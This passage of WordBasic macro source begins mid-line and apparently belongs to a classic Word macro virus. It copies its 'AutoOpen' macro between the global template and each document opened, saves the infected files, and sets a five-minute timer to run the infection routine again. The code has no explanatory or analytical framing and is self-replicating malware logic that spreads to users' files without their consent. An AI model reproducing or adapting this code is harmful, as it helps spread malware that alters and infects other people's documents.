me = "AutoOpen", .Tab = 3
' Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "SaveDoc", .Tab = 3
FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 0, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
End If
' search macro AutoOpen in active document
active = CountMacros(1)
OkExist = 0
For i = 1 To active
If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1
Next i
' copy AutoOpen to active template
If OkExist <> 1 Then
Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "AutoOpen", .Tab = 3
' Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "SaveDoc", .Tab = 3
FileSave
End If
Bye1:
' set document mode
dlg.Format = 0
Bye2:
' set timer to run AutoOpen again
internal = 5 / 24 / 60' internal time is 5 minutes
alarmtime = TimeValue(Time$()) + internal
alarm$ = Time$(alarmtime)
OnTime alarm$, "AutoOpen"